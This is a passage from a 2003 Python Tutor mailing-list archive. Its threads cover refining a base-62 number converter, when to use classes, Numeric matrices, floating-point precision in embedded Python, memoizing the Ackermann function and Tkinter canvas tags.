#substitute the decimal equivelants of 2Jst0FwPKm into the polynomial, we 
can convert
#this base 62 representation to decimal, y = 
2*62^9+19*62^8+54*62^7+...+48*62^0.
#Evaluating this for 2Jst we have 2*62^9+19*62^8+54*62^7+55*62^6 = 
3.14159263004*10^16.
#So when you see Pi out there in Hex, you will have to determine the power 
of the
#poloynomial before you start using your hex to decimal converter to get the 
familiar
#314159...decimal representation of pi. You can have fun with this converter 
by converting
#text such as phrases or your name etc from base 62 to base 10. For example,
#>>> convert.base(62,10,"PythonIsTheLanguage")
#4761314813537091063939032726114852
#Converting back
#>>> convert.base(10,62,"4761314813537091063939032726114852")
#PythonIsTheLanguage
#convert.base() also allows you to evaluate expressions and then convert 
them.
#For example
#>>> convert.base(10,62,int(math.acos(-1)*10**16))
#2Jst0FwPKm
#You can also allow input at the dos prompt as follows.
def base(r1,r2,num):            #convert the string num or expression in 
base r1 to base r2
    import math
    num = str(num)
    dec = 0                       #Clear to allow loop input per base
    ln  = len(num)                #save length of string to convert for 
later parsing
    j=0
    while j < ln:                 #parse the input string
        asci = ord(num[j])        #Get the ascii code of the char in string 
to convert
        temp   = r1**(ln-j-1)     #Compute the powers of the radix to 
convert
        ascii2 = decimal(asci)    #Get the decimal value of the ascii code
        dec += ascii2*temp        #Multiply by decimal value and power of 
radix
        j+=1
    RDX = ""
    PWR = math.log(dec)/math.log(r2)     #Get max power of r2 the radix to 
convert to
    j = int(PWR)
    while j >= 0:                        #Divide by descending powers of the 
radix to
        Q   = dec/(r2**j)                #get the ascii values
        dec = dec%(r2**j)                #get the remainder of divison for 
next division
        tmp = chr(ascii(Q))
        RDX = RDX + tmp                  #Concatenate the output string
        j-=1
    print RDX                            #Return the converted r1 to r2 
radix string

def ascii(Q1):
    if   Q1 < 10:                        # 1-9 = ascii 48 - 57
         Q1+= 48
    else:
         if Q1 > 9 and Q1 < 36:          # A-Z = ascii 65 - 90
              Q1+= 55
         else:
              Q1+= 61                    # a-z = ascii 97 - 122
    return Q1

def decimal(Q1):                         # 1 - 9 < ascii 58
    if   Q1 < 58:
         Q1-= 48
    else:
         if Q1 > 57 and Q1 < 97:         # A - Z < ascii 97
              Q1-= 55
         else:
              Q1-= 61                    # a - z = ascii 97 - 122
    return Q1


------=_NextPart_000_42a_6aca_5f1d
Content-Type: text/plain; name="base3.py"; format=flowed
Content-Transfer-Encoding: 8bit
Content-Disposition: attachment; filename="base3.py"

#base3.py             call convert def base from the msdos console
#                         By Cino Hilliard
#Usage:
#c:\python23\python base3.py r1 r2 num.  For example
#c:\Python23>python base3.py 62 10 2Jst0FwPKm
#31415926535897932
#c:\Python23>python base3.py 16 10 FFFF
#65535
# As you can see, the quotes are not required around the value string.
# However, this technique will not allow evaluation as the >>> mode.
# This can be overcome also if anyone wants to know, I will demonstrate.

from math    import *
from sys     import *
from convert import *
r1 = long(argv[1])   #convert the first argument in the command tail to long
r2 = long(argv[2])   #convert the second argument in the command tail to 
long
num =str(argv[3])    #convert the third argument in the command tail to 
string
base(r1,r2,num)



------=_NextPart_000_42a_6aca_5f1d--


From hillcino368@hotmail.com  Fri Jun 20 06:01:01 2003
From: hillcino368@hotmail.com (cino hilliard)
Date: Fri Jun 20 05:01:01 2003
Subject: [Tutor] RE: Base converter bases 2-62
Message-ID: <Law15-F81XLWGEt5cPw0004721b@hotmail.com>

Thanks Jeff and others


Lotta good stuff here
I asked for this. Thanks. Improvements are welcome.

The org code in BCX

!#define   ascii(Q) ((Q < 10) ? (Q+=48) : (Q+=55))
!#define decimal(Q) (Q < 58) ? (Q-=48) : (Q-=55)
const maxx = 10^16

function r2r$(r1 as double,r2 as double,num$)
dim J,RDX$,Q#, PWR,zeros$,tmp$
dim temp#,dec#,ln,j,RDX2$,asci,ascii2
dec# = 0                              'CLEAR TO ALLOW LOOP INPUT PER BASE
ln  = len(num$)                       'PARSE THE INPUT STRING AND
for j = 1 TO ln                       'GET HEX DIGITS OF HEX NUMBER
RDX2$  = MID$(num$,j,1)
asci = ASC(RDX2$)                    'GET ASCII CODE OF HEX DIGIT
temp# = r2^(ln-j)                     'COMPUTE POWERS OF RADIX
if temp# > maxx then
function = "overflow"
end if
ascii2 = decimal(asci)
dec# += ascii2*temp#                  'MULTIPLY BY DEC VALUE POINTED TO BY
if dec# > maxx then                   'THE ASCII CODE IN H[48-57] AND 
H[65-70]
function =  "overflow"
end if
next j
RDX$ = ""
PWR    = LOG(dec#)/LOG(r1)            'GET MAX POWER OF BASE
FOR J  = PWR TO 0 STEP - 1            'DIVIDE BY DESCENDING POWERS OF RADIX 
to
Q      = dec#/r1^J               'GET ASC VALUE
dec#   = mod(dec#,r1^J)
tmp$ = chr$(ascii(Q))
RDX$   = RDX$ & tmp$                  'CONCATANATE OUTPUT RADIX STRINGS
NEXT J
zeros$ = repeat$(8-len(RDX$),"0")
if r1 = 2 then RDX$ = zeros$ & RDX$
function = TRIM$(RDX$)                        'RETURN RADIX STRING
end function
I left zero fill out but python has a neat function that will do this.

The first rule of translation is to try to duplicate as much as possible to 
maintain the flow.
Then when it works, give it hell in improvement.See more comments below.


>From: "Jeff Shannon" <jeff@ccvcorp.com>
>To: tutor@python.org
>CC: cino hilliard <hillcino368@hotmail.com>
>Subject: Re: [Tutor] RE: Base converter bases 2-62
>Date: Thu, 19 Jun 2003 17:45:39 -0700
>
>cino hilliard wrote:
>
>>Question. How can I get convert.base(r1,r2,str) without having to type the 
>>quotes for the st?
>>Eg., convert.base(16,10,FFFF) instead of convert.base(16,10,"FFFF") = 
>>65535 ? This is required only if out of 0 - 9 range. convert(16,10,255) = 
>>FF works fine
>>
>>Jeff Shannon attempted to answer this with no. I am not convinced it 
>>cannot be done. In dos the command tail can be mixed and python should be 
>>able to read convert.base(16,10,FFFF). I will figure it out and post 
>>later. I may have to got the route
>>import sys
>>r1 = long(sys.argv[1])   #convert the first argument in the command tail 
>>to long
>>r1 = long(sys.argv[2])   #convert the second argument in the command tail 
>>to long
>>num = str(sys.argv[3])   #convert the third argument in the command tail 
>>to string
>>Can't is not in my vocabulary. :-)
>
>
>Ah, but arguments to a script (parsed by the OS) are an entirely different 
>matter from arguments to a function (parsed by the Python interpreter).  
>Clearly you can write a script that'll do that -- indeed, it would probably 
>take extra effort to allow quotes around a script parameter.  But parsing a 
>single command line is an entirely separate (and much simpler) problem than 
>parsing an entire sourcefile, which may contain arbitrary variable names 
>and multi-line statements.
True
>
>>def base(r1,r2,num):            #convert the string in base r1 to  a 
>>string in base r2
>>    import math                    #we need this to get the power  of
>>    num = str(num)
>>    dec = 0                          #Clear to allow loop input per  base
>>    ln  = len(num)                 #save length of string to convert for 
>>later parsing
>>    j=0
>>    while j < ln:                     #parse the input string
>>        asci = ord(num[j])        #Get the ascii code of the char in 
>>string to convert
>>        temp   = r1**(ln-j-1)    #Compute the powers of the radix to 
>>convert from
>>        ascii2 = decimal(asci)     #Get the decimal value of the  ascii 
>>code
>>        dec += ascii2*temp      #Multiply by decimal value and  power of 
>>radix
>>        j+=1
>
>
>Instead of using this awkward while loop, why not use a for loop?  That way 
>you don't need to worry about tracking your index variable.
Yes I had planned to do this. The while was a quick trial to keep my head 
straight by not
having to unravel for errors

for j = 1 TO ln                       'GET HEX DIGITS OF HEX NUMBER
RDX2$  = MID$(num$,j,1)
asci = ASC(RDX2$)                    'GET ASCII CODE OF HEX DIGIT

>for j in range(ln):
>    asci = ord(num[j])
>    temp = r1 ** (ln - j - 1)
>    ascii2 = decimal(asci)
>    dec += ascii2*temp
>
>You can do the same sort of thing with your other loop, using 
>range(int(PWR),-1,-1) to step backwards.
This is good stuff!
>
>Now, as to your decimal() and ascii() functions...
>
>First, as I described in my other email, "decimal" isn't really an 
>appropriate name since the integer you return doesn't really have a base 
>(only representations of it do).  More importantly, though,

This is not correct. The base of the numerical syntaxof most languages  is 
10 or decimal.
a basic integer,c integer,python integer,SAS integer, Cobol, Fourth, etc is 
decimal unless otherwise specified. some assembly languages assume hex. But 
that is clarified up front.


>your if/else and addition is very unclear.  One would practically need to 
>have an ASCII chart in hand to try to figure out what you're up to.
This I agree with in python.  I did this origionally because I added this 
function into the BCX basic to C
translator code to be callable from the bcx language. We want to use the 
intrinsic functions as much as
possible in the construction of and implementation of new functions reducing 
dangling arrays out there.
Other good reasons for this method described below.
>
>As Magnus mentioned, this can all be done with a string.
>
> >>> digits = 
>"0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
> >>> digits.index('F')
>15
Yeah, the very first program did it this way. Other factors (above) were 
considered to use the ascii
table such as using the entire ascii set from 32 to 255 for a super base 
converter. This would make the
code easier to maintain when you wanted to add more bases. And of course the 
main reason. What
if I use This fancy dan code above and a letter is missing or in reverse or 
whatb ever.

Also if I am not mechanically concatenating the string such as in most 
basics (BCX uses & for concat - DUMB but it currently has to because of C).

digits$ = ""
for j=32 to 255
digits$ = digits$ + chr$(j)
next j
Now I have an  exact table that I can use.
Python can do this
Another factor may be speed (in my going back to TRS80 model I mind). I 
think that function call
is much faster than an array lookup. It becomes a matter of taste. We are 
different. I will try
this.
> >>>
>
>I can easily convert a character into an integer this way.  Once you have 
>the digits string defined (at the top of your module, presumably), you can 
>replace any call to decimal(ord(char)) with a call to digits.index(char).  
>So now I can rewrite that loop like this:
>
>for j in range(ln):
>    temp = r1 ** (ln - j - 1)
>    value = digits.index(num[j])
>    dec += value*temp
>
>(Of course, as Magnus pointed out, this whole loop can be easily replaced 
>with 'dec = int(num, r1)' as long as you can cope with a maximum base of 
>32....
Why even mention this? I went to all this trouble for base 32 max? the atol 
and ltoa in c do this
for you to base 36.
>
>The reverse is even easier -- given an integer value, I can get the 
>appropriate character to represent it simply by indexing into the string:
>
> >>> digits[15]
>'F'
> >>>
>
>In your second loop, I see that you're using two separate operations to get 
>the dividend and the remainder.  This can be done in a single operation 
>using the divmod() built-in function.  So with these pieces in mind, I can 
>rewrite this:
Excellent
>
>>    j = int(PWR)
>>    while j >= 0:                                    #Divide by descending 
>>  powers of the radix to
>>        Q   = dec/(r2**j)                          #get the ascii values
>>        dec = dec%(r2**j)                       #get the remainder of 
>>divison for next division
>>        tmp = chr(ascii(Q))
>>        RDX = RDX + tmp                         #Concatenate the output 
>>string
>>        j-=1
>
>
>into this:
>
>for j in range(int(PWR), -1, -1):
>    Q, dec = divmod(dec, (r2**j))
>    RDX += digits[Q]
>
>Jeff Shannon
>Technician/Programmer
>Credit International
>
Good work Jeff.
I will take your suggestions and see if I can come up with a prototype (with 
your guys
help of course) to be a candidate fo inclusion into the language. Well, 
maybe a package
in my little o'l  library.

The next step will be to take this to output in a list eg.,
>>>convert.base(10,16,2^16-1) = [15,15,15,15] = FFFF hex. This will allow 
>>>arbitrary base size.
Hey, This may be our passport to destiny. We do a 
convert.base(10,1000,2^512-1) and pick
our  lottery numbers from the 52 entries in the list 
[95,85,6,649,433,...407,13].

Cheers and Roebuck

  3         3        3         3        3        6            2              
  (0^0)
2   +  13  +  33  +  43  =  49   =  7    =  343   = 117649

_________________________________________________________________
STOP MORE SPAM with the new MSN 8 and get 2 months FREE*  
http://join.msn.com/?page=features/junkmail



From decibelshelp@charter.net  Fri Jun 20 07:43:01 2003
From: decibelshelp@charter.net (DAVID BABCOCK)
Date: Fri Jun 20 06:43:01 2003
Subject: [Tutor] When to use a Class or just define functions?
Message-ID: <web-1606633@rems09.cluster1.charter.net>

I have a module I wrote, but want to learn classes better, 
so was going to make some changes. Import it into my 
program and the module works fine 'as-is' (without a 
defined class). 

I understand that Classes represent a powerful tool, like 
deriving from a pre-existing Class or from a custom class. 
I understand that it groups like functions together. And a 
few other things.

Like the module I mentioned first. It was just a few 
functions. Then added this:

class Quotes:
      pass

Very simple, but what 'extra' benefit does making a class 
and passing it, really do?  I saw a difference when I used 
'dir(quotes)'. But not sure it really gave me anything.

My main point is when to make a 'new' class or just define 
a bunch of functions? I could go further and include some 
of my common functions into the new Quotes class. Not sure 
what benefit I will get from doing that though?

I would guess that I could break the functions included in 
the new class down further and they might be more useful 
to parts of the program that didn't need the whole 
previous function. So wouldn't have to write a new one. 
But could do that without the class, just might be a 
little more confusing. 

Maybe just haven't gotten a complete grasp on it yet. Is 
it always necessary to try and combine like fuctions in 
your programs into a class, if not then when is it? What 
about modules you write, is it more important to do it 
there?

Thanks,

Dave


From hillcino368@hotmail.com  Fri Jun 20 08:48:01 2003
From: hillcino368@hotmail.com (cino hilliard)
Date: Fri Jun 20 07:48:01 2003
Subject: [Tutor] RE: Base converter bases 2-62
Message-ID: <Law15-F335pneeFUtLc00015fbb@hotmail.com>



>From: Magnus Lyckå <magnus@thinkware.se>
>To: "cino hilliard" <hillcino368@hotmail.com>, tutor@python.org
>Subject: Re: [Tutor] RE: Base converter bases 2-62
>Date: Fri, 20 Jun 2003 02:05:26 +0200
>
>At 23:23 2003-06-19 +0000, cino hilliard wrote:
>>I have created a base converter in python to take advantage of the 
>>arbitrary integer precision and
>>provide an alternative to the one way function of int(s,[radix]) and 
>>long(s,[radix]).
>
>I don't really see a reason to duplicate int or long.
convert is only duplicating
>Use them if they work! (How often do you need a base
>higher than 36? :)

You remind me of my co-workers back in the 1980's when I had a TRS 80 model 
II  48k mem 2 170k disk drives and a Z80 souped up to .3 mhz. They said, 
"what are you going to do with it?"  I said "what
are you going to do with a new born child?"

Why would I be writing code to go to base 62? For the fun of it. I have no 
corporate bonus or financial
need for it. I just want to know. I just want to see if I can do it. I want 
to play with it. I want to see
if python can do it. Is python a language of need? Or, is python a language 
of work in progress?

You are discouraging the old man. :--)

For example
>>>convert.base(62,10,"CinoHilliard")
662042196960720285629                       Hey, that's me! base 62 in 
decimal. Is this a prime number?
Lets see. No using another function pypari we call pari and factor the 
number.
>>>pypari("Str(factor(662042196960720285629))")
? "[3217, 1; 17631847, 1; 11671772171, 1]"
Lets try another.
c:\Python23>python base3.py 62 10 magnusthinkwaresePYTHONAuthor
7473604660505575066548691306459561207580386171215941
Is this prime? Is it square free?
No to both questions.
?>>> 
pypari("Str(factor(7473604660505575066548691306459561207580386171215941))")
? "[37, 2; 678133, 1; 11829904987, 1; 680503772433971638008487115952059, 1]"
Now how about that large factor?

c:\Python23>python base3.py 10 62 680503772433971638008487115952059
3iEaIWRTFVzvd3szVet                         this is a prime in base 62

See the cryptographic (small scale. Not government work) potential here with 
the arbitrary precision
range?





>If you want to implement their inverse, i.e. going from a
>numeric value to a representation in a given base, it's
>much easier if you use a string instead of all that if-stuff.
This I may do. Using the system commands to get the ascii codes and 
characters is accurate.
There are reasons why someone would want to do this.

1. how are you going to build the string? if manually then you introduce a 
propensity for error. If
mechanically fine, you are using the system commands to build it. The if are 
awkward but i left them
because they worked in the org program.

Translation  is far smoother that way. The othe option of course now is to 
build the whole thing from
scratch.

>If you want to go from one string representation to another
>it's simple to combine these two functions. I don't see any
>gain in implementing both in a single function. (Well, for
>fun is a good reason I guess. :)
Now you are talking my language. I will still leave my other comments 
intact.
>
>We can do something like this:
>
>digits = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
>

>def numToBase(num, base):
>     stack = []
>     while num:
>         stack.append(digits[num % base])
>         num = num // base
>     stack.reverse()
>     return "".join(stack)
>
>This version only work for positive numbers though.
>But it's fairly simple to handle negatives and zero
>I think. I leave it as an excise to the reader...

I like this. Here is my version.

def numToBase(num, base):
     import string
     digits=""
     for j in range(48,58):         #build digit table 0-9
           digits = digits + chr(j)
     for j in range(65,91):         #Add to digit table A-Z
           digits = digits + chr(j)
     for j in range(97,123):        #Add to digit Table a-z
           digits = digits + chr(j)
     stack = []
     while num:
         stack.append(digits[num % base])
         num = num // base
     stack.reverse()
     x =  "".join(stack)
     print x
#    return x
Example
>>>convert.numToBase(680503772433971638008487115952059,62)
3iEaIWRTFVzvd3szVet
This agrees with the example above in my code. Now, how do you go back?
Well long(s,radix) will work up to base 36. I will figure it out.

Thanks for the excellent tutorial on using features of python.


>
>--
>Magnus Lycka (It's really Lyck&aring;), magnus@thinkware.se
>Thinkware AB, Sweden, www.thinkware.se
>I code Python ~ The Agile Programming Language
>

662042196960720285629

_________________________________________________________________
The new MSN 8: advanced junk mail protection and 2 months FREE*  
http://join.msn.com/?page=features/junkmail



From hillcino368@hotmail.com  Fri Jun 20 08:57:06 2003
From: hillcino368@hotmail.com (cino hilliard)
Date: Fri Jun 20 07:57:06 2003
Subject: [Tutor] built in functions int(),long()
Message-ID: <Law15-F26GnAKYoo9tj000099d5@hotmail.com>



>From: Bob Gailer <bgailer@alum.rpi.edu>
>To: "Jeff Shannon" <jeff@ccvcorp.com>, tutor@python.org
>CC: cino hilliard <hillcino368@hotmail.com>
>Subject: Re: [Tutor] built in functions int(),long()
>Date: Thu, 19 Jun 2003 12:47:44 -0600
>
>At 11:37 AM 6/19/2003 -0700, Jeff Shannon wrote:
>[snip]
> > What has you confused is that Python, when asked to show you an integer, 
>will automatically convert that integer into base 10 for
> > display. However, that's a feature of the display, not of the integer 
>itself -- it just so happens that for humans, base 10 is easiest to
> > read, so Python accommodates us (unless we specifically request 
>otherwise, through the use of hex() or similar functions).  Of
> > course, internally the computer will store all integers in binary format 
>(base 2), because that's the way that computers are wired.
>
>"base 10" is ambiguous. We usually interpret that to mean the decimal 
>system, but an 8 fingered alien who counts in octal would say "base 10" and 
>it would mean octal.
Why would he say that if he was a digital arachnoid? Sure he would know base 
10 because he
was using my convert.base program. Base 2 of course is the nature of the 
universe. It is on or
it is off. At one point it turned on. I don not like to say time because in 
reality there is no time-
just the obversation of change which we conveniently "label" time. Pepole 
don age they just change.
This program is out in the universe im many places. I just changed a few 
things an made it visible
here.
>
>Bob Gailer
>bgailer@alum.rpi.edu
>303 442 2625
>
>---
>Outgoing mail is certified Virus Free.
>Checked by AVG anti-virus system (http://www.grisoft.com).
>Version: 6.0.488 / Virus Database: 287 - Release Date: 6/5/2003

662042196960720285629

_________________________________________________________________
MSN 8 with e-mail virus protection service: 2 months FREE*  
http://join.msn.com/?page=features/virus



From gtg066j@mail.gatech.edu  Fri Jun 20 09:22:02 2003
From: gtg066j@mail.gatech.edu (Vidhya Narayanan)
Date: Fri Jun 20 08:22:02 2003
Subject: [Tutor] generating matrices
In-Reply-To: <20030619233901.29767.21567.Mailman@mail.python.org>
References: <20030619233901.29767.21567.Mailman@mail.python.org>
Message-ID: <1056111679.3ef2fc3fe6f56@webmail.mail.gatech.edu>

Hi all,

   I have a very simple question. How to implement=20
           constant =3D zeros(2,6) in python?
Thanks

regards
Vidhya

=20



From mwagman@charter.net  Fri Jun 20 10:07:32 2003
From: mwagman@charter.net (Mike Wagman)
Date: Fri Jun 20 09:07:32 2003
Subject: [Tutor] generating matrices
In-Reply-To: <1056111679.3ef2fc3fe6f56@webmail.mail.gatech.edu>
References: <20030619233901.29767.21567.Mailman@mail.python.org>
 <1056111679.3ef2fc3fe6f56@webmail.mail.gatech.edu>
Message-ID: <1056114589.2523.0.camel@24-159-241-21.jvl.wi.charter.com>

from Numeric import *
constant = zeros((2,6))

On Fri, 2003-06-20 at 07:21, Vidhya Narayanan wrote:
> Hi all,
> 
>    I have a very simple question. How to implement 
>            constant = zeros(2,6) in python?
> Thanks
> 
> regards
> Vidhya
> 
>  
> 
> 
> _______________________________________________
> Tutor maillist  -  Tutor@python.org
> http://mail.python.org/mailman/listinfo/tutor
-- 
Mike Wagman <mwagman@charter.net>



From Suresh  Kumar" <suresh_vsamy@rediffmail.com  Fri Jun 20 11:35:08 2003
From: Suresh  Kumar" <suresh_vsamy@rediffmail.com (Suresh  Kumar)
Date: Fri Jun 20 10:35:08 2003
Subject: [Tutor] Using more than one tag in 'find_withtag'...........
Message-ID: <20030620143312.2171.qmail@webmail26.rediffmail.com>

 This is a multipart mime message


--Next_1056119592---0-203.199.83.148-2168
Content-type: text/html;
	charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

<P>=0AHi,<BR>=0A<BR>=0A&nbsp;  Is it possible to use more than one 'tag' va=
lue in 'find_withtag' option of Tkinter canvas? i have drawn some rectangle=
s and ovals on canvas and assigened two tag&nbsp; values for each item. The=
 first tag value is common for all items that belongs to a category (say &q=
uot;rectangle&quot; for all rectangle and &quot;ovals&quot; for oval). The =
second tag is unique to each item ( iam using name of item as 2nd tag). Now=
 how can i get an item of particular type, say &quot;rectangle named MyRect=
&quot;? How pass these two tag values to 'find_withtag' or is there any alt=
ernative?<BR>=0A=0A</P>=0A<br><br>=0A<a href=3D"http://www.herohonda.com/ka=
rizma?rediffmail" target=3D"_blank"><IMG SRC=3D"http://ads.rediff.com/RealM=
edia/ads/adstream_nx.ads/www.rediffmail.com/inbox.htm@Bottom" border=3D0></=
a>=0A
--Next_1056119592---0-203.199.83.148-2168
Content-type: text/plain;
	charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

Hi,=0A=0A   Is it possible to use more than one 'tag' value in 'find_withta=
g' option of Tkinter canvas? i have drawn some rectangles and ovals on canv=
as and assigened two tag  values for each item. The first tag value is comm=
on for all items that belongs to a category (say "rectangle" for all rectan=
gle and "ovals" for oval). The second tag is unique to each item ( iam usin=
g name of item as 2nd tag). Now how can i get an item of particular type, s=
ay "rectangle named MyRect"? How pass these two tag values to 'find_withtag=
' or is there any alternative?=0A
--Next_1056119592---0-203.199.83.148-2168--



From gtg066j@mail.gatech.edu  Fri Jun 20 11:51:02 2003
From: gtg066j@mail.gatech.edu (Vidhya Narayanan)
Date: Fri Jun 20 10:51:02 2003
Subject: [Tutor] matrices
In-Reply-To: <20030619195910.27278.42471.Mailman@mail.python.org>
References: <20030619195910.27278.42471.Mailman@mail.python.org>
Message-ID: <1056120632.3ef31f385d9c5@webmail.mail.gatech.edu>

Hi all,

    I was wondering if anyone can eplain how to achieve simple matrix
manipulations. For example:

   a.) how to get a column matrix?
   a.)appending matrices
Help appreciated.
thanks
Vidhya



From nas-pytut@python.ca  Fri Jun 20 12:04:37 2003
From: nas-pytut@python.ca (Neil Schemenauer)
Date: Fri Jun 20 11:04:37 2003
Subject: [Tutor] matrices
In-Reply-To: <1056120632.3ef31f385d9c5@webmail.mail.gatech.edu>
References: <20030619195910.27278.42471.Mailman@mail.python.org> <1056120632.3ef31f385d9c5@webmail.mail.gatech.edu>
Message-ID: <20030620150537.GB19998@glacier.arctrix.com>

Vidhya Narayanan wrote:
>     I was wondering if anyone can eplain how to achieve simple matrix
> manipulations. For example:
> 
>    a.) how to get a column matrix?
>    a.)appending matrices

Install the Numeric package and read the documentation:

    http://www.pfdubois.com/numpy/

Cheers,

  Neil


From magnus@thinkware.se  Fri Jun 20 12:42:02 2003
From: magnus@thinkware.se (Magnus =?iso-8859-1?Q?Lyck=E5?=)
Date: Fri Jun 20 11:42:02 2003
Subject: [Tutor] Single precision math in embedded Python, was Re: [Tutor]
 crash when importing random or sys module, in my  embedded python
In-Reply-To: <817359272.20030619231841@columbus.rr.com>
References: <5.2.1.1.0.20030620031004.01f50998@www.thinkware.se>
 <5.2.1.1.0.20030619114022.01f97558@www.thinkware.se>
 <5.2.1.1.0.20030619040301.01fd9bf8@www.thinkware.se>
 <93386198524.20030618194709@columbus.rr.com>
 <000201c335df$2c757460$6b01a8c0@zeratec>
 <006201c335ea$5297b800$6401a8c0@xp>
 <29383794056.20030618190705@columbus.rr.com>
 <3EF0F461.6040209@venix.com>
 <93386198524.20030618194709@columbus.rr.com>
 <5.2.1.1.0.20030619040301.01fd9bf8@www.thinkware.se>
 <5.2.1.1.0.20030619114022.01f97558@www.thinkware.se>
 <5.2.1.1.0.20030620031004.01f50998@www.thinkware.se>
Message-ID: <5.2.1.1.0.20030620172107.01f78ce8@www.thinkware.se>

At 23:18 2003-06-19 -0400, R. Alan Monroe wrote:
>Python 2.2.2 (#37, Oct 14 2002, 17:02:34) [MSC 32 bit (Intel)] on win32
>Type "help", "copyright", "credits" or "license" for more information.
> >>> import math
> >>> math.pi
>3.1415926535897931

Sure, in your non-embedded python environment. I bet
"import random" works without a hitch here.

But what if you do "import math; print math.pi" in your
embedded python environment. What does is say then?

> > version? Is your embedded version somehow using single
> > precision floating points instead of double?
>
>Since the error occurs during "import random", at the very top, I've
>not yet defined any variables at all :^)

You misunderstand me. This is a C issue, not a Python issue.
You can't control the precision of floats from within Python.

You have to look in your C project settings or include files
to find the root of this, I fear.

I'm wondering whether this affects all floating point numbers
in the embedded Python for you, or if it's just the math module
that is somehow flawed...

How does "print repr(0.1)" or "print repr(5.3)" etc look in
your embedded environment? And what about something like
"print repr(math.sin(1))"

Do they look identical with the output in your standard Python
environment (which is obviously acting quite normal).




--
Magnus Lycka (It's really Lyck&aring;), magnus@thinkware.se
Thinkware AB, Sweden, www.thinkware.se
I code Python ~ The Agile Programming Language 



From glingl@aon.at  Fri Jun 20 14:21:02 2003
From: glingl@aon.at (Gregor Lingl)
Date: Fri Jun 20 13:21:02 2003
Subject: [Tutor] Memoizing ...
References: <3EEFC6B5.4050109@aon.at> <3EF063CF.9060301@venix.com>
Message-ID: <3EF342C3.6060703@aon.at>

Lloyd Kvam schrieb:

> This is in the Python Cookbook in the Algorithms chapter (17.7).

Thanks for this very valuable hint.
My simplified version looks like this:

class Memoize:
    def __init__(self, fn):
        self.fn = fn
        self.memo = {}
    def __call__(self, *args):
        if args not in self.memo:
            self.memo[args] = self.fn(*args)
        return self.memo[args]

It work's well for my purposes.
Alas! It doesn't compute others than the first few
values of the ackermann-function, which seems to be
such a weird beast beause of calling itself with
growing arguments via calling itself as an argument
of itself.

Nevertheless it would be interesting - even if completely
useless (!) - if anybody could compute ackermann(4,1)
or ackermann(4,2) with Python - the last one having
more than 19000 digits, as somone told me, thus beeing
an ideal task for Pythons long int arithmetics

;-)

Gregor


>
> A Memoize class creates instances that are built to memoize (is this 
> still English?)
> the function args and return values.  The args become the dictionary 
> keys and
> the function return values are the dictionary values.  The instance 
> tries to return
> the values from its dictionary.  If it can't, it calls the original 
> function, adds
> to the dictionary, and then returns the function result.
>
> (Page 521 in my copy.)
>
> Gregor Lingl wrote:
>
>> I mean, I'd like to get something like:
>>
>>  >>> BINOMM = memoize(BINOM)
>>
>> or
>>
>>  >>> BINOMM = memoize(BINOM, BINOM.binom)
>>
>> or something similar.
>>
>> Gregor
>>
>>
>>
>> _______________________________________________
>> Tutor maillist  -  Tutor@python.org
>> http://mail.python.org/mailman/listinfo/tutor
>>
>
>






From tbrauch@mindless.com  Fri Jun 20 15:10:48 2003
From: tbrauch@mindless.com (Timothy M. Brauch)
Date: Fri Jun 20 14:10:48 2003
Subject: [Tutor] matrices
References: <20030619195910.27278.42471.Mailman@mail.python.org> <1056120632.3ef31f385d9c5@webmail.mail.gatech.edu>
Message-ID: <007501c33757$1b9a8620$6600a8c0@tbrauch>

> Hi all,
>
>     I was wondering if anyone can eplain how to achieve simple matrix
> manipulations. For example:
>
>    a.) how to get a column matrix?
>    a.)appending matrices
> Help appreciated.
> thanks
> Vidhya

I'm not sure if Prahlad Vaidyanathan  is still hanging around on the list,
but at one time he was and he did some work on a matrix class.  You might
want to check out his website  http://www.symonds.net/~prahladv and see if
it is laying around, or maybe email him directly to see if he still has it
available.

It was pretty good, and I had spent many hours working on something similar
before I posted to list for some help.  And he just waltzed in with a
solution already written (I was having trouble being sure what was entered
as a matrix was really a matrix).

 - Tim



From abli@freemail.hu  Fri Jun 20 15:12:09 2003
From: abli@freemail.hu (Abel Daniel)
Date: Fri Jun 20 14:12:09 2003
Subject: [Tutor] Using more than one tag in 'find_withtag'
In-Reply-To: <20030620143312.2171.qmail@webmail26.rediffmail.com>
References: <20030620143312.2171.qmail@webmail26.rediffmail.com>
Message-ID: <20030620181049.GA1300@hooloovoo>

Suresh  Kumar wrote:
>    Is it possible to use more than one 'tag' value in 'find_withtag' option
> of Tkinter canvas? i have drawn some rectangles and ovals on canvas and
> assigened two tag  values for each item. The first tag value is common
> for all items that belongs to a category (say "rectangle" for all rectangle
> and "ovals" for oval). The second tag is unique to each item ( iam using
> name of item as 2nd tag). Now how can i get an item of particular type, say
> "rectangle named MyRect"? How pass these two tag values to 'find_withtag' or
> is there any alternative?

See the method addtag_withtag of Tkinter.Canvas .
So instead of passing tag1, tag2, etc. to find_withtag, you can
use addtag_withtag to add a new, unique tag to the ones which have tag1,
then to those which have tag2, etc. then pass this new tag to
find_withtag.

Abel Daniel 

ps. you don't have to create a new tag for each item. The when creating
an item with Tkinter.Canvas.create_* methods, the returned value is a
tag which is unique, only that item has it.


From magnus@thinkware.se  Fri Jun 20 15:47:50 2003
From: magnus@thinkware.se (Magnus =?iso-8859-1?Q?Lyck=E5?=)
Date: Fri Jun 20 14:47:50 2003
Subject: [Tutor] When to use a Class or just define functions?
In-Reply-To: <web-1606633@rems09.cluster1.charter.net>
Message-ID: <5.2.1.1.0.20030620174904.01f5e548@www.thinkware.se>

I've had some wine with dinner, so if anything below
is confusing, I'll have to blame the Portugese...

At 06:41 2003-06-20 -0400, DAVID BABCOCK wrote:
>I have a module I wrote, but want to learn classes better, so was going to 
>make some changes.

I think you really need to write the program from
an object oriented perspective for classes to make
sense.

>I understand that Classes represent a powerful tool, like deriving from a 
>pre-existing Class or from a custom class. I understand that it groups 
>like functions together. And a few other things.

I'm not sure you are really on the right track.

If you have a number of related functions that you
just want to bundle, a module will be your best fit.

The purpose of a class is to bundle a data structure
which represents some logical entity with the operations
that work with this data structure.

For instance, we might imagine a logical entity such as
a text entry control in a GUI. That fits as a class. But
the point is not to bundle some functions.

The point is to capture an abstraction, and all that belongs
to it. This text entry control might have attributes--data
members, such as coordinate (x, y), size (w, h), background
and foreground colour, text content etc. It will also have
operations--methods such as getText, setText, enable, disable,
show, hide etc.

The common things about the functions is that they all act
on the same data, not that they are similar in any way.

